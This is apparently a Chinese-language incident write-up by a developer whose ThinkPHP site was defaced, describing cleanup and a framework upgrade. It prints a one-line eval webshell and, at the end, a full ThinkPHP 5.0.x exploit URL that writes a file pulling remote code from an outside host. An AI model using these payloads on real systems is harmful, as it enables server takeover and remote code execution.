【注:PHP、ThinkPHP】
事情是這樣的~
2019年2月12日,根據客戶的反應,說點選網站上的連結都會跳轉的別的第三方的網站。然後就開始排查,登入上伺服器,把專案的所有檔案拷貝下來。
開啟入口檔案,裡面的程式碼原來是被替換成靜態的前端程式碼~我暈~ 當務之急是讓網站可以正常的執行,先把這入口檔案改回以前的程式碼上傳到伺服器,這樣網站暫時是可以正常執行了。
但是需要找的問題的根本所在,這種網站程式碼惡意被修改的事我是第一次遇到,以前都是聽說過沒見過。 沒有經驗,就上百度。找一下這個問題的處理和排查流程。
根據網上所述,首先是將一句話程式碼(<?php @eval($_POST[`a`])>)上傳到網站,然後通過這個一句上傳一個可以操作網站目錄的檔案,再通過這個檔案對網站的程式碼進行修改和上傳。
所以現在要做的是:
1、首先找到已經被上傳到網站的惡意檔案,將其刪除。
2、找到攻擊者所利用的程式碼中的漏洞。
怎麼找到那些已經被上傳上來的檔案,可以下載安全狗對拷貝下來的所有程式碼進行掃描,這些檔案的程式碼有的寫法會相同。會存在一些函式 eval、assert,這些檔案還好找,找著後在伺服器上刪除就好了。難的是找到程式碼中的漏洞,網上提供了一些可能會出現漏洞的地方,一個是上傳檔案的地方,一個是編輯器外掛中帶的上傳功能。
這些地方我一個試了試,排查了一遍。
2月13日,我發現網站首頁又被修改了,看來問題的根本沒有找對,繼續在網上百度,問一些大佬。
2月14日,還是再找。
2月15日,一位大佬給我發來了一個ThinkPHP框架的漏洞資訊,說的是ThinkPHP5.0 ~ 5.0.23之間的版本都存在一個嚴重的漏洞,可通過這個漏洞執行寫檔案的操作。
趕緊升級版本,升級的安全的版本。
之後,我也試了一下有漏洞的那個版本,真的可以很容易的將想要的程式碼寫入到檔案,然後線上上執行。
而且就是一行連線就能搞定:
專案域名加上
?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval(file_get_contents(%22http%3a%2f%2fcqy666.cn%2fphp.jpg%22))?^%3E%3Etest.php
然後訪問test.php,就能操作網站的所有目錄了。Amezing~